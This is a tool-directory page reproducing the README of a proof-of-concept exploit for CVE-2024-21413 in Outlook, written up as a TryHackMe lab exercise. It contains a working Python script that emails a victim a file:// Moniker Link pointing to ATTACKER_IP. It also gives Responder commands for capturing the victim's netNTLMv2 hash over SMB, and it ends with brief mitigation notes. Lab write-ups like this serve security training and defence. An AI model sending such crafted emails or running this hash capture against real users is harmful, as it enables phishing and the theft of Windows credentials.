Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Email-exploit-Moniker-Link-CVE-2024-21413- — Proof-of-concept exploit for CVE-2024-21413 using Moniker Link in HTML email to trigger SMB connection and capture netNTLMv2 hashes via Responder. Demonstrates penetration testing, Python scripting, and network protocol analysis skills. | Kitploit
Tools/GitHubGitHub/yass2400012/email-exploit-moniker-link-cve-2024-21413-
Password CrackingExploitationPhishingNetwork SecurityPenetration TestingLearning & EducationRed TeamingEmail SecurityLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubyass2400012/email-exploit-moniker-link-cve-2024-21413-

Email-exploit-Moniker-Link-CVE-2024-21413-

Proof-of-concept exploit for CVE-2024-21413 using Moniker Link in HTML email to trigger SMB connection and capture netNTLMv2 hashes via Responder. Demonstrates penetration testing, Python scripting, and network protocol analysis skills.

View Repository
711 months agoNot yet reviewed

Email exploit Moniker Link-CVE-2024-21413-Module — Documentation

Overview: A practical PoC demonstrating the use of a Moniker Link in an HTML email to trigger an SMB connection from Outlook, allowing capture of a victim's netNTLMv2 hash via Responder. This showcases practical skills in penetration testing, scripting, and network protocol analysis.


Key Skills Demonstrated

  • Python scripting for automated email delivery
  • Understanding of SMB, NTLMv2, LLMNR, NBT-NS and MDNS protocols
  • Responder configuration and monitoring for hash capture
  • Troubleshooting Linux network/DNS configuration issues
  • Crafting a controlled offensive security scenario in a lab environment

PoC Workflow

  1. Setup SMB listener: Start Responder on the attack machine to monitor SMB authentication attempts.
  2. Send crafted email: Use a Python script to deliver an HTML email with a Moniker Link (file://) pointing to the attacker's SMB share.
  3. Hash capture: When the victim clicks the link, Outlook attempts to fetch the file over SMB, and Responder captures the netNTLMv2 hash.

Minimal Exploit Script

root@kitploit:~
# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124'  # THM SMTP server
password = input('Enter attacker email password: ')

html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('Email delivered')

Tip: Replace ATTACKER_IP and mailserver before running. In the TryHackMe lab, the password is attacker.


Running Responder

root@kitploit:~
responder -I ens5

Replace ens5 with your network interface name.


Troubleshooting /etc/resolv.conf

Sometimes Responder fails due to broken symlinks in /etc/resolv.conf. Fix with:

root@kitploit:~
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

Skills highlighted: Linux troubleshooting, DNS configuration, and adapting tools to cloud/VM environments.


Progress Screenshots

  1. Error / Resolv.conf Issue:` Error Resolv.conf

  2. DNS Fix Applied: DNS Setup Fix

  3. Python Email Script: Python Email Script

  4. Exploit Delivery: Exploit Delivery

  5. Victim Inbox: Victim Email

  6. Captured Victim Hash: Captured Victim Hash


Tools & Commands Used

  • Responder: SMB/LLMNR/NBT-NS/MDNS listener
  • Python3: PoC email script execution
  • smtplib / email.mime: Python libraries for crafting and sending emails
  • Linux shell commands for DNS troubleshooting

Skills Learned / Portfolio Highlight

  • Network attack simulation and exploitation workflow
  • Automation of social engineering vector (Moniker Link email)
  • Capturing and analyzing netNTLMv2 hashes
  • Cross-discipline troubleshooting: Python, networking, Windows & Linux interaction
  • Documentation and workflow presentation for technical reviewers

Mitigation & Defensive Notes

  • Disable automatic external content in Outlook
  • Block outbound SMB to untrusted networks
  • Enforce SMB signing and modern authentication policies on Windows clients

Attribution

Adapted from TryHackMe MonikerLink lab and original PoC by CMNatic (GitHub)

Download Tool